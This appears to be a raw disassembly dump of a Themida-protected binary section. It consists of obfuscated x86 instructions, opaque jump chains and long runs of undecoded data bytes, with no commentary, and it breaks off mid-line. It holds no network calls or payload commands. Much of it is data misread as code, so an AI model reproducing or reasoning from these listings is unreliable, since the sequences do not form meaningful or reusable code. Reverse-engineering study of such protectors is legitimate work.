Themida_:004F6867j sub ebp, 1D265976h mov ebx, [esp] add esp, 4 push edx mov edx, 7D0337A6h push edi mov edi, 25E35B2Ah or edx, edi pop edi add edx, 67524266h jmp loc_4F890E ; --------------------------------------------------------------------------- db 28h dd 0E68058E6h, 80C6FE0Ch, 0F72831EEh, 0E9F8285Ah, 75A6h dd 0F8685366h, 89000012h, 68662414h, 5A667258h, 0B9665166h dd 316614DBh, 665966CAh, 665AD389h, 6653CC2Dh, 566D829h dd 5B6653CCh, 81535266h, 4ECh, 34FCE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FA056: ; CODE XREF: Themida_:00500915j not esi shl esi, 6 jmp loc_4FE41C ; --------------------------------------------------------------------------- dd 4E197A05h, 0E87EE948h, 0F766FFFFh, 0E99C241Ch, 0FFFFBC9Eh dd 55F668h, 24048900h, 0EC815854h, 4, 0BD242C89h, 3D5A09BDh dd 0F708EDC1h, 0DC581DDh, 0E9003D5Ah, 0FFFFE3F4h, 24048B66h dd 0FFE9E5E9h, 815966FFh, 4ECh, 2124E900h, 0F0280000h dd 6AA8E95Ah, 0BA520000h, 18E277C1h, 2FE2E281h, 0C28110EFh dd 0EF1DDC40h, 0FF1C5709h, 0E95A2434h, 0FFFFF1DEh ; --------------------------------------------------------------------------- loc_4FA0D8: ; CODE XREF: Themida_:004FDE01j add edx, 589FAF81h sub ebx, edx jmp loc_4FCEEC ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0CF805FB7h, 0AEB65236h, 805AF730h, 0FA2884F7h, 0FFC8DBE9h dd 43E950FFh, 0FFFFC6h, 0C5E95BD9h, 68FFFFE5h, 6AE8h, 0E9241489h dd 376Fh, 617BE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FA11E: ; CODE XREF: Themida_:005000ADj pop ecx dec edx shl edx, 7 add edx, 184D2493h mov esi, edx pop edx add esi, 72CB02CDh shl esi, 5 jmp loc_4F7131 ; --------------------------------------------------------------------------- loc_4FA13A: ; CODE XREF: Themida_:004F7916j mov edi, [esp] add esp, 4 xor [esp], edi xor edi, [esp] xor [esp], edi jmp loc_4F94FA ; --------------------------------------------------------------------------- dw 0EB8h dd 480A181Dh, 4803E0C1h, 6B47E952h, 315B0000h, 1C33241Ch dd 576EE924h, 9C500000h, 0FFBBA1E9h, 58C201FFh, 4C2835Dh dd 2474FF52h, 48F5A04h, 78E95C24h, 0BBFFFFD2h, 2049628Fh dd 0FFF806E9h, 4C383FFh, 0FFED59E9h, 5E9C1FFh, 5EA6E181h dd 0E9816077h, 8288F979h, 0FF59CE29h, 48B2434h, 2545E924h dd 0D9F60000h, 0E9DAC180h, 150Dh ; --------------------------------------------------------------------------- loc_4FA1C0: ; CODE XREF: Themida_:004FAA7Dj push dword ptr [esp+4] jmp loc_4FC9E1 ; --------------------------------------------------------------------------- db 56h, 0BEh, 9Ah dd 0E915E202h, 0FFFFDECBh, 16E98141h, 898F6EC5h, 0D78959CAh dd 5FF8015Ah, 5C240487h, 0FF2434FFh, 0E9582434h, 0FFFFD6F6h dd 815DEF01h, 4C7h, 243C8700h, 596DE9h, 9BEC8000h, 0C480EC00h dd 0D917E99Bh, 48BFFFFh, 5F545724h, 4BB53h, 0DF010000h dd 3DFCE9h db 0 ; --------------------------------------------------------------------------- loc_4FA225: ; CODE XREF: Themida_:00502579j shr ecx, 2 jmp loc_4FBF61 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0E9h dd 2E436AD6h, 0E901C183h, 5562h ; --------------------------------------------------------------------------- loc_4FA23C: ; CODE XREF: Themida_:004FA8F3j pop edx add esp, 4 push edi push edx jmp loc_501CC0 ; --------------------------------------------------------------------------- loc_4FA24A: ; CODE XREF: Themida_:004F939Aj mov [esp], ebx push esp pop ebx push 4A0Fh mov [esp], eax mov eax, 92B116Dh add eax, 0F6D4EE97h add ebx, 392850C9h add ebx, eax jmp loc_50171B ; --------------------------------------------------------------------------- dw 489h aSW db '$°ÄéÙW',0 align 4 loc_4FA278: ; CODE XREF: Themida_:004FF571j pop ebp push 2C3h mov [esp], eax push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov eax, [esp] jmp loc_4FCC35 ; --------------------------------------------------------------------------- dd 4B951h, 81E90000h, 0BD00005Ch, 44237D8Ch, 1AC6E9h, 4EC8100h dd 89000000h, 68BE2434h, 895FF052h, 0D034E9F1h, 0E95AFFFFh dd 0FFFFEF86h, 8107E3C0h, 2ECh, 14896600h, 66DE8824h, 0FFB450h dd 515866E6h, 0EB88F588h, 83240C8Bh, 5A6604C4h, 594AE9h dd 89E95700h, 0BD000046h, 6EE043Eh, 0F75DE821h, 56ABE9D8h dd 16B80000h, 0E9401670h, 50D3h, 3005CA81h, 0D2F76DCFh dd 5AE9D2F7h, 0E9FFFFD7h, 0FFFFB9E6h, 175F89BAh, 47CA8145h dd 0C10D6626h, 0C28108EAh, 6E690AD9h, 6B00E281h, 0F281358Fh dd 24860204h, 148BD501h, 4C48324h, 4C581h, 6DE90000h, 66000083h dd 68240C8Bh, 748h, 89240C89h, 4EC83E1h, 0BF243C89h, 4 dd 4E9F901h, 100000Eh, 57565AD3h, 2BFh, 0F55DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA38E: ; CODE XREF: Themida_:00500122j pop ebx jmp loc_4FC486 ; --------------------------------------------------------------------------- dd 4C781h, 0C7830000h, 243C8704h, 1013685Ch, 14890000h dd 0E95A5424h, 1DCCh, 0B95CE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA3B6: ; CODE XREF: Themida_:004FB791j xchg esi, [esp] pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_4FEE5B ; --------------------------------------------------------------------------- dd 0FFB945E9h, 4C781FFh, 0E9000000h, 0FFFFCA1Dh ; --------------------------------------------------------------------------- loc_4FA3D8: ; CODE XREF: Themida_:004FDA3Cj pop ebp mov dword ptr [edi+24h], 640B6F2Eh sub [edi+24h], ecx pop ecx xor edx, edx jmp loc_4F6C75 ; --------------------------------------------------------------------------- loc_4FA3EB: ; CODE XREF: Themida_:004FE425j pop esi add ebx, edx pop edx jmp loc_4F93E6 ; --------------------------------------------------------------------------- dd 895FFE01h, 0E8315EF5h, 83242C8Bh, 0E95204C4h, 1143h dd 805AD108h, 0C82884E9h, 0E9C18859h, 4012h ; --------------------------------------------------------------------------- loc_4FA418: ; CODE XREF: Themida_:004FDCC0j sub dword ptr [esp], 1EF90130h push esi mov esi, 634F64AFh add [esp+4], esi pop esi push edi mov edi, 7043243Bh jmp loc_4FB28C ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 0C4810000h, 4, 4C781h, 0BD550000h, 11CA1EF5h dd 0FFE106E9h, 82BE56FFh, 1FB0215h, 0E8E95EF0h, 0FF000020h dd 46E92434h, 81000056h, 0DA726FEDh, 0C5835B3Fh, 3DE95502h dd 89000022h, 0F58159CDh, 2FCC4589h, 7CD7ED81h, 0ED816033h dd 516E5039h, 0BF06E953h, 77E9FFFFh db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA49B: ; CODE XREF: Themida_:004FE682j add ebp, 4 jmp loc_4F6D61 ; --------------------------------------------------------------------------- dw 565Dh dd 0FFBB15E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FA4AD: ; CODE XREF: Themida_:004F957Ej pop ebp pop dword ptr [esp] mov esp, [esp] loc_4FA4B4: ; CODE XREF: Themida_:00500682j push 55BCh mov [esp], esi push ebx jmp loc_4FFFD1 ; --------------------------------------------------------------------------- dw 0BB53h dd 74EC12FFh, 535BD989h, 0F8606ABBh, 0BB7AE94Eh, 0EA81FFFFh dd 4C715BE7h, 0FFC7EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FA4E1: ; CODE XREF: Themida_:004F7BF7j add eax, esi mov esi, [esp] add esp, 4 sub edx, eax jmp loc_50096A ; --------------------------------------------------------------------------- loc_4FA4F0: ; CODE XREF: Themida_:004F76ABj pop ebx sub edi, 4 xchg edi, [esp] jmp loc_4FE814 ; --------------------------------------------------------------------------- db 57h dd 7B240481h, 0E9344412h, 1351h ; --------------------------------------------------------------------------- loc_4FA50C: ; CODE XREF: Themida_:004F8A17j xor esi, [esp] xor [esp], esi mov eax, [esp] push esi jmp loc_4FB316 ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2414895Ch, 0AA694268h dd 0C14A5A52h, 0DAF703E2h, 0AE0CF281h, 0D5092917h, 4AE5815Ah dd 81079E19h, 7D3CF2CDh, 0A7F58113h, 890FF29Dh, 0C77FE9EFh dd 0CF81FFFFh, 3DB4FB8h, 8102EFC1h, 821F3EE7h, 6FEF8119h dd 1F95AE9h, 0EAE95FFBh db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FA57B: ; CODE XREF: Themida_:004FB5EDj add esp, 4 and eax, esi jmp loc_4F9091 ; --------------------------------------------------------------------------- loc_4FA588: ; CODE XREF: Themida_:0050136Fj sub ecx, esi pop esi push esi push eax push ecx add dword ptr [esp], 23CC0C7Ch pop eax sub eax, 23CC0C7Ch push eax mov esi, [esp] add esp, 4 mov eax, [esp] add esp, 4 mov eax, esi jmp loc_4F8599 ; --------------------------------------------------------------------------- dw 0BF57h dd 6FD3676Fh, 42354505h, 2DF80147h, 47423545h, 4E51055Fh dd 0D8016464h, 6AA6E957h, 0C3800000h, 5BDA8831h, 0E951DAF6h dd 19EEh ; --------------------------------------------------------------------------- loc_4FA5E0: ; CODE XREF: Themida_:004FEDE8j or eax, eax jz loc_4F8E86 push dword ptr [edi+1Ch] mov ecx, [esp] jmp loc_4FB749 ; --------------------------------------------------------------------------- loc_4FA5F3: ; CODE XREF: Themida_:004F8BECj pop esi add esi, 4 push ebx mov ebx, 4 jmp loc_4FC5BB ; --------------------------------------------------------------------------- loc_4FA605: ; CODE XREF: Themida_:004FC6A4j pop edx jmp loc_4FC03F ; --------------------------------------------------------------------------- db 66h dd 2404A30Fh, 0B6FCE99Ch, 4BAFFFFh, 81000000h, 4A0DE8C5h dd 52D52916h, 4A0DE8BAh, 5AD52916h, 126DE95Ah, 50420000h dd 62BB5351h, 81504029h, 0DBE8C9EBh, 0E9D98912h, 0B19h dd 0D690E95Ah, 815FFFFFh, 711B83C7h, 2C8B570Ch, 4C48124h dd 5F000000h, 0EC5E581h, 0E5C15E58h, 0CEED8106h, 532284DBh dd 5D5D6DBBh, 5BD8293Ah, 6D05E801h, 8B3A5D5Dh, 0C483242Ch dd 68565204h, 12E2h, 16B2E9h, 0B67CE900h, 0E955FFFFh, 7821h dd 240C8B66h, 1EF68h, 4B07E900h, 34310000h, 24343324h dd 0A35E9h db 0 ; --------------------------------------------------------------------------- loc_4FA6B5: ; CODE XREF: Themida_:004FAA3Fj pop esp jmp loc_4F7B52 ; --------------------------------------------------------------------------- loc_4FA6BB: ; CODE XREF: Themida_:004F7522j add esp, 4 and ecx, ebp pop ebp shr ecx, 7 jmp loc_4FD1B2 ; --------------------------------------------------------------------------- dd 4205EAC1h, 4161B951h, 0F18145C5h, 14DA541Ch, 0E981D9F7h dd 0F8F7295h, 0FFDA69E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FA6E9: ; CODE XREF: Themida_:004FE7ADj xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_5025EF ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0E2895224h, 0ACBD5556h, 0E92E906Ah, 37F5h ; --------------------------------------------------------------------------- loc_4FA708: ; CODE XREF: Themida_:004F8AD1j add esp, 4 jmp loc_4F84AF ; --------------------------------------------------------------------------- loc_4FA713: ; CODE XREF: Themida_:004F78E5j pop ecx shr esi, 1 add esi, 459C7C2Ah jmp loc_4FEAE4 ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 4 aBsAjS db 'éµA¦ÞéÃ',9,0 dw 0AC00h aFrK db 'fR¶k',0 db 0F0h, 66h, 5Ah dd 0DEE9FD04h, 83FFFFDFh, 48904ECh, 0E9E08924h, 7EEAh ; --------------------------------------------------------------------------- loc_4FA74C: ; CODE XREF: Themida_:00502584j pop esp jmp loc_4F63F9 ; --------------------------------------------------------------------------- loc_4FA752: ; CODE XREF: Themida_:004FD0C3j add esp, 4 jmp loc_4FFC79 ; --------------------------------------------------------------------------- loc_4FA75A: ; CODE XREF: Themida_:004FA9E1j xor edx, ebp pop ebp jmp loc_4FD76E ; --------------------------------------------------------------------------- loc_4FA762: ; CODE XREF: Themida_:004FE0DFj mov [esp], edx jmp loc_4FD1DF ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFB983h ; --------------------------------------------------------------------------- loc_4FA770: ; CODE XREF: Themida_:004F8607j push dword ptr [esp+4] pop esi jmp loc_4FED18 ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 75762BB9h, 60E95062h, 4000041h, 0EC835ABAh dd 241C8904h, 0B252BCB3h, 0E9D3306Ah, 0FFFFC041h, 0B1EE815Eh dd 8953A91Dh, 7437E9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FA7AE: ; CODE XREF: Themida_:00500526j jmp loc_4F5D12 ; --------------------------------------------------------------------------- loc_4FA7B3: ; CODE XREF: Themida_:004F9A13j sub ecx, esi jmp loc_4F5F8E ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48124h, 1000000h, 24048BC2h, 0E904C483h, 94Fh, 815F5457h dd 4C7h, 4EF8300h, 5C243C87h, 54241C89h, 0D7E6E95Bh, 48DFFFFh dd 7E31E987h, 0C9FE0000h, 0E904E1C0h, 37EFh, 0E9D5015Fh dd 0FFFFDBE9h, 0E9241C89h, 4291h, 8702C083h, 0D35C2404h dd 0E99C2404h, 0FFFFB4F6h, 92E95966h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FA823: ; CODE XREF: Themida_:004F74D6j mov eax, ecx pop ecx sub esp, 4 mov [esp], edi jmp loc_4FE292 ; --------------------------------------------------------------------------- dd 4BBh, 43E50500h, 2C050C91h, 13C4825h, 6DDE9D8h, 0B5680000h dd 89000039h, 65E92414h, 0FF000047h, 669D1C77h, 2414D359h dd 0B4ACE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA866: ; CODE XREF: Themida_:004F9B76j sub ecx, 661969FBh push dword ptr [esp] pop esi add esp, 4 jmp loc_5018E4 ; --------------------------------------------------------------------------- db 0BFh dd 6DF809CDh, 16B4E781h, 0C7813437h, 7F442B2h, 295FFB29h dd 36BF57D3h, 12C2443h, 35E95FFBh, 66000058h, 0E95FB652h dd 0FFFFF557h, 7BE9FE09h, 0FF000009h, 51582434h, 0C181E189h dd 4, 8904EC83h, 4BA2414h, 81000000h, 2C6099E9h, 81D10122h dd 2C6099C1h, 563E922h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FA8DA: ; CODE XREF: Themida_:004FCFEEj pop dword ptr [esp] mov esp, [esp] mov [esp], edx add dword ptr [esp], 6FA574FEh pop eax sub eax, 6FA574FEh push dword ptr [esp] jmp loc_4FA23C ; --------------------------------------------------------------------------- loc_4FA8F8: ; CODE XREF: Themida_:004F8FF3j pop ecx mov ebp, ebx mov ebx, [esp] add esp, 4 inc ebp xor ebp, 0E770F712h push ebp jmp loc_4FDFD1 ; --------------------------------------------------------------------------- loc_4FA90E: ; CODE XREF: Themida_:00500CA0j pop esi push edx push esp mov edx, [esp] jmp loc_4FF46C ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 3C8B5457h, 4C48124h, 81000000h, 4C7h, 4C78300h, 31243C33h dd 3C33243Ch, 51BCE924h, 815A0000h, 560D1DC2h, 76568D5h dd 14890000h, 40B85024h, 3158550Ch, 58042444h, 40F6815Eh dd 5A58550Ch, 6165CE81h, 0EC813F1Eh, 4, 0B9240C89h, 4AAB3700h dd 5559CE31h, 173305BDh, 0E9EE297Fh, 7C93h, 543764BAh dd 0E9D5093Dh, 45F6h, 0C304C483h, 0FFB379E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FA999: ; CODE XREF: Themida_:004FE600j pop eax pop dword ptr [esp] jmp loc_4FC9CA ; --------------------------------------------------------------------------- loc_4FA9A2: ; CODE XREF: Themida_:004FC317j add edx, ecx pop ecx xchg edx, [esp] jmp loc_5022CB ; --------------------------------------------------------------------------- db 81h, 0C3h, 8Fh dd 0E9C7DCD7h, 0FFFFE559h ; --------------------------------------------------------------------------- loc_4FA9B8: ; CODE XREF: Themida_:004F7869j or ebx, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 6261168Ch shr eax, 8 neg eax or eax, 553D5DA9h push edx push ebp mov ebp, 60EC394Eh mov edx, 8B6246Bh jmp loc_4FA75A ; --------------------------------------------------------------------------- dw 0E956h dd 34Ah, 8003E5C0h, 0ED80EEC5h, 59EB00F9h, 66C0B60Fh, 0E987048Fh dd 0FFFFB30Eh ; --------------------------------------------------------------------------- loc_4FAA04: ; CODE XREF: Themida_:004F6DBCj push ebp mov ebp, 508B5AC6h inc ebp xor ebp, 6E5F6BD0h and ebp, 4B0D5B14h add ebp, 0F5FBEEEEh sub esi, 2F087D88h jmp loc_4F9474 ; --------------------------------------------------------------------------- aSP_zSj_ db 'S»¯_§]éj_',0 db 0 ; --------------------------------------------------------------------------- loc_4FAA33: ; CODE XREF: Themida_:004FF2CBj add edi, ebp sub edi, 23981C28h pop ebp xchg edi, [esp] jmp loc_4FA6B5 ; --------------------------------------------------------------------------- loc_4FAA44: ; CODE XREF: Themida_:00500159j pop ecx sub ebp, 643869C2h add ebp, edx add ebp, 643869C2h pop edx xor ebp, 34A4E234h sub [edi+24h], ebp push dword ptr [esp] pop ebp add esp, 4 loc_4FAA67: ; CODE XREF: Themida_:004FAC47j push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] jmp loc_4FAF58 ; --------------------------------------------------------------------------- loc_4FAA7B: ; CODE XREF: Themida_:004FEA91j pop eax push edx jmp loc_4FA1C0 ; --------------------------------------------------------------------------- loc_4FAA82: ; CODE XREF: Themida_:004FD861j xor ecx, [esp] pop esp push dword ptr [esp] pop eax push 3A05h mov [esp], esi mov esi, esp push eax mov eax, 0D886C3Ch jmp loc_4FB366 ; --------------------------------------------------------------------------- db 0ADh dd 33E3B951h, 9DE92D96h, 50FFFFD3h, 0FFDAB6E9h, 241C8BFFh dd 8104C483h, 4C4h, 0B250E900h, 0E955FFFFh, 48EAh ; --------------------------------------------------------------------------- loc_4FAAC8: ; CODE XREF: Themida_:004F71E5j pop edi add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 33CA30B7h jmp loc_4FDA34 ; --------------------------------------------------------------------------- aSuc db '\éUC',0 dd 4721BA00h, 0C281742Ch, 4A4D78ACh, 4330E281h, 0EA814678h dd 0A8F8918Ch, 148BD501h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_4F8621 ; --------------------------------------------------------------------------- loc_4FAB15: ; CODE XREF: Themida_:00502457j push ebx mov ebx, 194D6FE3h jmp loc_4F62E1 ; --------------------------------------------------------------------------- dd 0E904C483h, 5DBAh, 0E924048Fh, 36D8h ; --------------------------------------------------------------------------- loc_4FAB30: ; CODE XREF: Themida_:004F6488j push 5F91h jmp loc_4F7BBD ; --------------------------------------------------------------------------- dw 1C8Bh dd 0E2895224h, 4C281h, 0C2830000h, 7225E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FAB4E: ; CODE XREF: Themida_:00500E89j or eax, 636255E3h xor eax, 77743688h xor eax, 343C0699h and eax, 5743530Eh neg eax sub eax, 9B08D69Dh xor ebp, eax pop eax add ecx, ebp pop ebp add ecx, 4 xor ecx, [esp] jmp loc_4FD85E ; --------------------------------------------------------------------------- db 0F7h, 0E9h, 68h dd 1BD1h, 0E9241489h, 0FFFFF5DEh, 80C6B151h, 0F18013E1h dd 0E9CB00D1h, 359Dh, 4B85059h, 0E9000000h, 0FFFFD251h dd 28B8h, 163F2D00h, 0F80114B1h, 0B1163F05h, 58188814h dd 0FFF25DE9h, 240400FFh, 77FFE99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FABCA: ; CODE XREF: Themida_:004FE584j mov ebp, esp add ebp, 4 push ecx push edx mov edx, 78182F01h push edx mov edx, 4E487D21h jmp loc_4F6EE9 ; --------------------------------------------------------------------------- loc_4FABE4: ; CODE XREF: Themida_:004FF367j add ebp, 666713BBh sub esp, 4 jmp loc_4FDA7E ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 241C895Ch, 6FE9E389h, 89000035h, 0F0B82404h, 0D78FF7Eh dd 784A30FCh, 124EE992h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FAC16: ; CODE XREF: Themida_:0050057Fj push 178Bh mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push 7F10h mov [esp], esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] shr ecx, 0 or eax, eax jz loc_4FAA67 push ebx push edi jmp loc_4FFE6B ; --------------------------------------------------------------------------- dd 8324048Bh, 343304C4h, 4F1EE924h, 0BB660000h, 4AE98BC8h dd 89000001h, 0E589242Ch, 1B2EBA52h, 9DE92E12h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FAC7B: ; CODE XREF: Themida_:004F69BAj pop edi jmp loc_4FB3E2 ; --------------------------------------------------------------------------- loc_4FAC81: ; CODE XREF: Themida_:004F6708j pop edi add edi, 54A90B51h dec edi jmp loc_4FB563 ; --------------------------------------------------------------------------- dw 8B66h dd 0B9682404h, 8900005Fh, 0E2892414h, 4C281h, 53510000h dd 126BD9BBh, 43DBF746h, 8107EBC1h, 73DB26EBh, 0FF595301h dd 835B2434h, 0CA0104C4h, 744FE9h, 58C32900h, 0E9241C87h dd 6E0Dh, 0C781E789h, 4, 0E904C783h, 6CA0h ; --------------------------------------------------------------------------- loc_4FACE0: ; CODE XREF: Themida_:00501529j push edi jmp loc_4FD057 ; --------------------------------------------------------------------------- loc_4FACE6: ; CODE XREF: Themida_:004F6D20j mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] xor eax, 20574B3Eh push edx push 73CFh mov [esp], esi push 4CA63B58h pop esi add esi, 7C015086h push ebx mov ebx, 0C8A783DEh jmp loc_4FF90A ; --------------------------------------------------------------------------- loc_4FAD30: ; CODE XREF: Themida_:004FC040j push esp jmp loc_4FF449 ; --------------------------------------------------------------------------- dw 0E689h dd 4EC81h, 4890000h, 7D90B824h, 0D8F776B2h, 0FFFD75E9h dd 4C481FFh, 81000000h, 4ECh, 24148900h, 0BD55E289h, 4 dd 6174EA81h, 0EA0155B4h, 6174B850h, 0FAE955B4h, 48FFFFF3h dd 0E907E0C1h, 4C44h, 81E68956h, 4C6h, 4EE8100h, 87000000h dd 895C2434h, 0D3B3241Ch, 67E902B1h, 4000070h, 40D04FDh dd 0E9F828D9h, 33F2h, 0F300DDB6h, 72E5E9h, 0EB816600h dd 0C4E9192Fh, 5800001Ch, 5C240C87h, 9CC83B66h, 0FFAF45E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FADCD: ; CODE XREF: Themida_:00500B2Aj shr ebx, 7 push eax push ebx mov ebx, 7A170B68h sub ebx, 0FA6E9293h mov eax, ebx jmp loc_5015D6 ; --------------------------------------------------------------------------- dd 53D830ACh, 2ECB6866h, 0FFBC51E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FADF1: ; CODE XREF: Themida_:004FCF0Cj mov [esp], eax mov eax, 3C3A7DDDh xor ecx, eax pop eax jmp loc_4FD207 ; --------------------------------------------------------------------------- aBIwsRsns db 'ÃiWé Réns',0 dd 24048F00h, 148B665Ch, 0FBCCE924h, 0D5F6FFFFh, 0E9D9F580h dd 33h, 8105E6C1h, 8949B3F6h, 81DEF74Dh, 8E8162C6h, 5EF50119h dd 0FFEDC1E9h, 0D8E95AFFh, 29000037h, 0F1C381EBh, 0E912E968h dd 43CBh, 6AE9DDF6h, 8000005Bh, 0EC30F8EDh, 58E52859h dd 4BB05066h, 5866C528h, 0E9BBC580h, 0FFFFD6E3h, 65956852h dd 0E95A7127h, 0FFFFD1B3h, 81241C8Bh, 4C4h, 24048F00h dd 8924248Bh, 3BE92404h, 31000024h, 3C33243Ch, 6E42E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FAE9E: ; CODE XREF: Themida_:004F7F64j push esi mov esi, 0B34179Ah mov ebp, 18FD5746h add ebp, esi pop esi shl ebp, 3 push ebx jmp loc_4F6C08 ; --------------------------------------------------------------------------- db 0B8h, 0A5h, 2 dd 0A12D1CCFh, 0E91CCF02h, 60C3h, 0D46E9BB9h, 2E1C155h dd 0FFBF2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FAED1: ; CODE XREF: Themida_:004FEFF7j mov edi, 8C65B0Ch jmp loc_4FCA75 ; --------------------------------------------------------------------------- db 0F7h aASL db 'ÕÁí',8,'éÁl',0 db 0 ; --------------------------------------------------------------------------- loc_4FAEE5: ; CODE XREF: Themida_:005002C1j push 3B4D0188h pop ecx xor ecx, 446C6F16h dec ecx jmp loc_4FE605 ; --------------------------------------------------------------------------- db 33h dd 248B242Ch, 0B30F6624h, 0E99C2404h, 0FFFFB964h ; --------------------------------------------------------------------------- loc_4FAF08: ; CODE XREF: Themida_:004FF16Ej pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp pop dword ptr [esp] jmp loc_500523 ; --------------------------------------------------------------------------- db 81h dd 2D51DFC2h, 79E95811h, 2DFFFFF3h, 3C48252Ch, 9143E52Dh dd 2F30E90Ch, 0C890000h, 1B4FE924h, 8B660000h, 0B968240Ch dd 8900007Fh, 0E954242Ch, 30ACh, 0E904C783h, 0FFFFBF55h ; --------------------------------------------------------------------------- loc_4FAF58: ; CODE XREF: Themida_:004FAA76j xor [esp], esi jmp loc_4F642C ; --------------------------------------------------------------------------- dd 81243C8Bh, 4C4h, 5832FF00h, 4AC6E9h, 24148700h, 0E924248Bh dd 0FFFFD9A5h, 100368h, 4798E900h, 148B0000h, 61BAE924h dd 0EE010000h, 59D6EE81h, 0E95D3A4Ch, 2510h ; --------------------------------------------------------------------------- loc_4FAF9C: ; CODE XREF: Themida_:005025A6j pop ecx add ecx, 4 jmp loc_5002D6 ; --------------------------------------------------------------------------- dd 0F611EB80h, 800E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FAFB2: ; CODE XREF: Themida_:004FEF2Dj pop esi add esp, 4 jmp loc_4F7CE6 ; --------------------------------------------------------------------------- db 89h dd 0D6B02404h, 0C180ABB1h, 52C12897h, 0E98097B6h, 80F128DFh dd 585ADFC1h, 6D4C6866h, 240C8966h, 0F6241486h, 241486D2h dd 0D1865966h, 0D186D2F6h, 0C1FED1F6h, 80B4E980h, 0C83062E9h dd 4EC8359h, 51240489h, 93B47EB5h, 0F659EC30h, 0E95051DCh dd 6B23h, 6041B951h, 0F1817842h, 5532E45h, 0F707E9C1h dd 1FF181D9h, 814ADC59h, 703EF9C9h, 9BE561Dh, 1420641h dd 0E62E9F1h, 66BB0000h, 29031008h, 0E2C8E9D8h, 0E181FFFFh dd 3B3B145Fh, 428BBE56h, 0EE812601h, 3227036h, 0C106EEC1h dd 0C68105EEh, 503809ADh, 0FFB64FE9h, 0ACA4E9FFh, 0C801FFFFh dd 51D82959h, 3127BBB9h, 4C1A6869h, 1C890000h, 6656BB24h dd 0DBF71B83h, 6E86BD55h, 0ED811CB4h, 74E5CFFCh, 295DEB31h dd 241C8BD9h, 0FFDB8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FB0A1: ; CODE XREF: Themida_:004FC572j dec esi sub esi, 279406DDh neg esi not esi inc esi xor esi, 2D926686h sub ebp, 454D1330h add ebp, esi add ebp, 454D1330h mov esi, [esp] add esp, 4 push ecx mov ecx, 2 add ebp, 5C2426E1h add ebp, ecx sub ebp, 5C2426E1h pop ecx xor ebp, [esp] xor [esp], ebp jmp loc_4FCF79 ; --------------------------------------------------------------------------- dw 248Bh dd 0C317E924h, 8151FFFFh, 39FA242Ch, 815D56A7h, 0A739FAC5h dd 0B9515956h, 375B6866h, 159C829h, 618BE9E8h, 48B0000h dd 1EE76824h, 11E90000h, 5500006Fh, 64141EBDh, 5EDC174h dd 7BE3BA52h, 0F28119A5h, 1A065B41h, 0E95AD531h, 75CFh dd 34C7055Ah, 0C18909E0h, 3FD5E9h, 2434FF00h db 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 jmp loc_4F6D8B ; --------------------------------------------------------------------------- db 5Bh, 89h, 0C8h dd offset byte_5010E9 dd 3EB45000h, 58E730h, 241C8BF8h, 5561E9h, 6C015800h, 0C8E90424h dd 5F000019h, 3E3D68h, 24348900h, 2BD55h, 0EE890000h, 0C3E9815Dh dd 107C177h, 0C3BB53F1h, 107C177h, 85E95BD9h, 53FFFFE1h dd 5F0165BBh, 0DBF38139h, 0E931A53Bh, 72CFh ; --------------------------------------------------------------------------- loc_4FB1BC: ; CODE XREF: Themida_:004F8D0Fj or ebx, 4BA01159h jmp loc_4FC682 ; --------------------------------------------------------------------------- loc_4FB1C7: ; CODE XREF: Themida_:004FDC60j add esp, 4 add esp, 4 add esp, 4 shr ecx, 0Bh push 1635h mov [esp], ebx push 6281h jmp loc_4FD661 ; --------------------------------------------------------------------------- db 0FFh dd 815D2434h, 4C4h, 74FF5200h, 8F5A0424h, 